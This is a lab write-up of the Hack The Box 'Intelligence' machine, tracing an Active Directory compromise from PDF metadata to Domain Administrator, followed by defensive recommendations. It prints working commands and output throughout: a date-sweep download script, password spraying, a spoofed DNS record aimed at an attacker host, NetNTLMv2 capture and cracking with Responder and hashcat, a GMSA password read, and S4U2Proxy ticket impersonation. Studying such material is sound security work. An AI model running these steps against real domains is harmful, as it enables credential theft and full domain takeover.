Intelligence — PDF Metadata to GMSA Silver Ticket via DNS Injection
- Tools
- nmap, exiftool, kerbrute, NetExec, smbclient, dnstool, Responder, hashcat, BloodHound, bloodyAD, Impacket
- Skill demonstrated
- Active Directory attack-path analysis from information disclosure to delegated service-account abuse
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Windows Active Directory domain controller (IIS web server, DNS, SMB) |
| Starting position | Unauthenticated network access |
| Objective | Escalate from unauthenticated web content enumeration to Domain Administrator through DNS injection and GMSA constrained-delegation abuse |
| Outcome | Domain Administrator command execution as nt authority\system on the domain controller |
Summary
Section titled “Summary”Intelligence is a Medium-rated Hack The Box Windows Active Directory lab whose path begins with information disclosure rather than a software flaw: PDF documents on an IIS web server expose author metadata that enumerates valid domain users, and one document discloses a default onboarding password. An SMB share reachable with those credentials holds a PowerShell script that authenticates to any internal hostname beginning with web, which is abused by registering a spoofed DNS record and capturing a NetNTLMv2 authentication with Responder. Cracking that hash yields a higher-privileged user with ReadGMSAPassword rights over a Group Managed Service Account; the GMSA’s NTLM hash, combined with its constrained delegation rights, allows a service ticket to be requested that impersonates the Administrator. Target and attacker addresses, accounts, and credential values are replaced with role-based placeholders throughout; command patterns are preserved.
Attack path: PDF metadata enumeration → default onboarding password → authenticated SMB access → downdetector.ps1 analysis → spoofed DNS record → NetNTLMv2 capture and crack → BloodHound enumeration → GMSA password read → service ticket via S4U2Proxy → Domain Administrator
Context and Objective
Section titled “Context and Objective”- Target: Windows Active Directory domain controller hosting an IIS web application, DNS, Kerberos, LDAP, and SMB.
- Services exposed: DNS (53), HTTP/IIS (80), Kerberos (88), RPC (135), NetBIOS (139), LDAP (389/636), SMB (445).
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: move from unauthenticated enumeration of web content to domain administrative control, demonstrating how information disclosure and a legitimate automation script combine into a full compromise.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a service/version scan exposes the standard Active Directory footprint of the domain controller, including an IIS web server.
nmap -sC -sV -oA nmap/intelligence <TARGET_IP>Significance: the fingerprint confirms an AD domain controller with DNS, Kerberos, LDAP, SMB, and an IIS web server, defining the domain (<TARGET_DOMAIN>) and domain controller host (<DOMAIN_CONTROLLER_HOST>).
Result: the reachable services are enumerated and the web server is identified as the first unauthenticated attack surface.
2. PDF Metadata Enumeration
Section titled “2. PDF Metadata Enumeration”Observation: the IIS web server hosts downloadable PDF documents following the naming pattern YYYY-MM-DD-upload.pdf; a date-range sweep discovers approximately 84 documents, and extracting their author metadata yields around 30 unique usernames.
Action: enumerate all possible dates across a realistic range and download matching PDFs.
import requestsfrom datetime import date, timedelta
base = "http://<TARGET_IP>/documents/{date}-upload.pdf"start = date(2020, 1, 1)end = date(2021, 12, 31)
d = startwhile d <= end: url = base.format(date=d.strftime("%Y-%m-%d")) r = requests.get(url) if r.status_code == 200: with open(d.strftime("%Y-%m-%d") + ".pdf", "wb") as f: f.write(r.content) print(f"[+] {url}") d += timedelta(days=1)Action: extract author metadata from the downloaded documents, then validate the discovered usernames against the domain via Kerberos user enumeration.
for pdf in *.pdf; do exiftool "$pdf" | grep "Creator\|Author" | awk '{print $NF}'done | sort -u > users.txtkerbrute userenum --dc <TARGET_IP> -d <TARGET_DOMAIN> users.txtSignificance: author metadata is an information-leakage vector — documents published without stripped metadata expose valid internal usernames, which enable targeted authentication attempts without noisy, invalid-name guessing.
Result: approximately 30 unique usernames are recovered from PDF metadata and confirmed as valid domain accounts through Kerberos user enumeration.
3. Default Password Discovery and Initial Access
Section titled “3. Default Password Discovery and Initial Access”Observation: one PDF (2020-06-04-upload.pdf) contains an onboarding document with a default password in plain text.
Action: spray the disclosed default password across the discovered usernames.
nxc smb <TARGET_IP> -u users.txt -p '<DEFAULT_PASSWORD>' --continue-on-successTruncated spray output:
[+] <TARGET_DOMAIN>\<LAB_USER>:<DEFAULT_PASSWORD>Significance: a published onboarding document made a usable credential accessible to anyone who could download PDFs, and the metadata-derived username list converted it into authenticated domain access.
Result: valid domain credentials are recovered for <LAB_USER> and authentication succeeds over SMB.
4. SMB Enumeration and PowerShell Script Discovery
Section titled “4. SMB Enumeration and PowerShell Script Discovery”Observation: authenticated SMB access exposes two readable shares, IT and Users, and the IT share contains a PowerShell script, downdetector.ps1.
Action: enumerate shares and retrieve the script.
nxc smb <TARGET_IP> -u '<LAB_USER>' -p '<DEFAULT_PASSWORD>' --sharessmbclient //<TARGET_IP>/IT -U '<LAB_USER>%<DEFAULT_PASSWORD>' -c 'recurse ON; prompt OFF; mget *'Share listing:
Share Permissions Remark----- ----------- ------IT READUsers READThe retrieved script contains:
Import-Module ActiveDirectoryforeach($record in Get-ChildItem "AD:DC=<TARGET_DOMAIN_COMPONENT>" -Filter * | Where-Object {$_.Name -like "web*"}) { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" ` -UseDefaultCredentials if($request.StatusCode -ne 200) { Send-MailMessage -From '<SERVICE_ACCOUNT> <<SERVICE_ACCOUNT>@<TARGET_DOMAIN>>' ` -Subject "Service: $($record.Name) is down" ... } } catch {}}Significance: -UseDefaultCredentials passes the running account’s NTLM credentials to any HTTP endpoint the script contacts, and the script likely runs periodically via a Scheduled Task. Any DNS record matching web* triggers an authenticated HTTP request to that host, regardless of whether it points to a legitimate server.
Result: a script that forwards integrated credentials to attacker-selectable hostnames is identified as the path from the low-privileged account to a higher-privileged one.
5. DNS Record Injection and NetNTLMv2 Capture
Section titled “5. DNS Record Injection and NetNTLMv2 Capture”Observation: because the script authenticates to any hostname matching web*, a DNS A record named <SPOOFED_WEB_HOST> pointing to the attack host redirects the script’s next authenticated request to the attacker.
Action: add the spoofed record through Krbrelayx’s dnstool.py using authenticated DNS updates.
python3 dnstool.py -u '<TARGET_DOMAIN>\<LAB_USER>' -p '<DEFAULT_PASSWORD>' \ -r <SPOOFED_WEB_HOST> -d <ATTACKER_IP> --action add <TARGET_IP>[+] <SPOOFED_WEB_HOST> has been successfully addedAction: start Responder to capture the authentication, then crack the captured hash.
sudo responder -I tun0 -vhashcat -m 5600 <HASH_FILE> /usr/share/wordlists/rockyou.txtTruncated capture output (hash redacted):
[HTTP] NTLMv2 Hash : <SERVICE_ACCOUNT>::<TARGET_DOMAIN_SHORT>:<CHALLENGE>:...Truncated crack output:
<SERVICE_ACCOUNT>::<TARGET_DOMAIN_SHORT>:...:<CRACKED_PASSWORD>Significance: the script trusts DNS without validating the target hostname against an allowlist, so a legitimate authenticated DNS write is enough to steer its credentials to an attacker. Secure Dynamic Updates alone do not prevent this, because the record is created with legitimate domain credentials via an authenticated LDAP write.
Result: a NetNTLMv2 authentication for <SERVICE_ACCOUNT> is captured and cracked, yielding credentials for a higher-privileged account.
6. GMSA Password Read
Section titled “6. GMSA Password Read”Observation: with the cracked credentials, BloodHound reveals that <SERVICE_ACCOUNT> is a member of <SUPPORT_GROUP>, which holds ReadGMSAPassword over the Group Managed Service Account <GMSA_ACCOUNT>, and that <GMSA_ACCOUNT> has constrained delegation to WWW/<DOMAIN_CONTROLLER_HOST>.
Action: collect BloodHound data and read the GMSA password attribute.
bloodhound-ce-python -d <TARGET_DOMAIN> \ -u '<SERVICE_ACCOUNT>' -p '<CRACKED_PASSWORD>' \ -c all -ns <TARGET_IP>
bloodyAD --host <TARGET_IP> -d <TARGET_DOMAIN> \ -u '<SERVICE_ACCOUNT>' -p '<CRACKED_PASSWORD>' \ get search \ --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' \ --attr msDS-ManagedPasswordTruncated attribute output (hash redacted):
msDS-ManagedPassword.NTLM: <LM_HASH_EMPTY>:<GMSA_NTLM_HASH>Significance: a gMSA’s password is managed automatically by Active Directory and stored in the readable msDS-ManagedPassword attribute, so any principal granted explicit ReadGMSAPassword rights can retrieve the current NTLM hash. The underlying password is a 256-byte random value rotated every 30 days, but the hash alone is sufficient for NTLM-based authentication and ticket operations.
Result: the NTLM hash of <GMSA_ACCOUNT> is retrieved through the group’s delegated read right.
7. Domain Administrator via S4U2Proxy
Section titled “7. Domain Administrator via S4U2Proxy”Observation: with <GMSA_ACCOUNT>’s NTLM hash and its constrained delegation to WWW/<DOMAIN_CONTROLLER_HOST>, a service ticket can be requested for the WWW service on the domain controller while impersonating the Administrator.
Action: request the service ticket, then use the resulting ccache to authenticate.
impacket-getST '<TARGET_DOMAIN>/<GMSA_ACCOUNT>' \ -spn WWW/<DOMAIN_CONTROLLER_HOST> \ -hashes <LM_HASH_EMPTY>:<GMSA_NTLM_HASH> \ -impersonate administrator
export KRB5CCNAME=administrator.ccacheimpacket-psexec -k -no-pass <TARGET_DOMAIN>/administrator@<DOMAIN_CONTROLLER_HOST>Truncated output:
[*] Saving ticket in administrator.ccacheC:\Windows\system32> whoamint authority\systemSignificance: constrained delegation with protocol transition (S4U2Proxy) lets a service obtain tickets on behalf of any user to its allowed SPN without the user’s password. The resulting ticket is scoped to that single SPN, but because the SPN is a service on the domain controller, it yields administrative execution on the DC itself.
Result: the impersonated ticket returns a shell executing as nt authority\system, establishing Domain Administrator control.
Challenges and Decisions
Section titled “Challenges and Decisions”- Unknown document naming pattern. Manual inspection established the
YYYY-MM-DD-upload.pdfconvention, so a date-range sweep was chosen over wordlist guessing; it systematically recovered the accessible documents. Documented rationale: the naming pattern made exhaustive date enumeration reliable. - DNS injection needs authenticated writes. The spoofed record was created with the already-recovered domain credentials; Secure Dynamic Updates alone do not block this because the attack performs an authenticated LDAP write rather than an unauthenticated dynamic update. Documented rationale: legitimate credentials satisfy DNS update permissions.
- Unknown Scheduled Task timing. The script’s periodicity was unknown, so a wait of roughly five minutes was used before expecting the DNS-triggered request to fire. Documented rationale: patience lets the legitimate trigger fire on its own schedule.
Outcome
Section titled “Outcome”The evidence establishes a complete path from unauthenticated enumeration to domain administrative execution, ending in a shell as nt authority\system on the domain controller. The pivot points were document content and a legitimate maintenance script rather than an exposed software vulnerability, and the static HTTP application was enumeration-only. No software exploit was required at any stage.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding below pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.
- Unstripped document metadata (preventive, highest priority). PDF author/creator fields exposed valid domain usernames that fed the credential spray. Recommendation: strip metadata from all publicly published documents before release (for example with
mat2or the Microsoft Office Document Inspector) and add a pre-publication check for AD user identifiers. - Default credential published in a document (preventive). An onboarding PDF disclosed a working default password, giving initial domain access. Recommendation: never embed shared default credentials in distributed documents; issue unique, one-time onboarding secrets and force a reset on first use. Detection: alert on a single password being attempted across many accounts.
- DNS records trusted by automation (preventive/detective).
downdetector.ps1usedInvoke-WebRequest -UseDefaultCredentials, forwarding the service account’s NTLM credentials to anyweb*hostname. Recommendation: avoid Windows Integrated Authentication in scheduled scripts, allowlist the hostnames and address ranges they may contact, and, where NTLM must remain, restrict it via theNetwork security: Restrict NTLM: Outgoing NTLM traffic to remote serverspolicy. Detection: monitor for DNS records created by ordinary users and for outbound NTLM authentication from service accounts to unexpected hosts. - Over-broad DNS update rights (preventive). Ordinary-domain-user credentials were sufficient to create an arbitrary A record. Recommendation: restrict DNS record creation to dedicated service accounts and DNS administrators rather than standard users. Validation: enumerate principals with write access on the DNS zone and confirm only intended identities remain.
- Excessive GMSA exposure (preventive). Broader group membership (
<SUPPORT_GROUP>) grantedReadGMSAPasswordover<GMSA_ACCOUNT>, whose constrained delegation reached a DC SPN. Recommendation: reduceReadGMSAPasswordgrants to the minimum required and reviewmsDS-AllowedToDelegateToon service accounts so no delegation target grants administrative reach on a domain controller. Validation: audit GMSA password-read principals and delegation targets together, since the two combined produced full domain compromise.
References
Section titled “References”- Hack The Box — Intelligence (retired machine)
- Nmap Reference Guide
- ExifTool (document metadata extraction)
- kerbrute (Kerberos user enumeration)
- NetExec (SMB enumeration and credential checks)
smbclientmanual page (Samba)- krbrelayx —
dnstool.py(authenticated DNS record manipulation) - Responder (rogue authentication server for NetNTLMv2 capture)
- Hashcat (NetNTLMv2 cracking, mode 5600)
- BloodHound (Active Directory attack-path analysis)
- bloodyAD (LDAP attribute reads, including
msDS-ManagedPassword) - Impacket —
getST.py(S4U2Proxy service-ticket requests) - Group Managed Service Accounts overview (Microsoft Learn)
- Kerberos constrained delegation overview (Microsoft Learn)
- Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers (Microsoft Learn)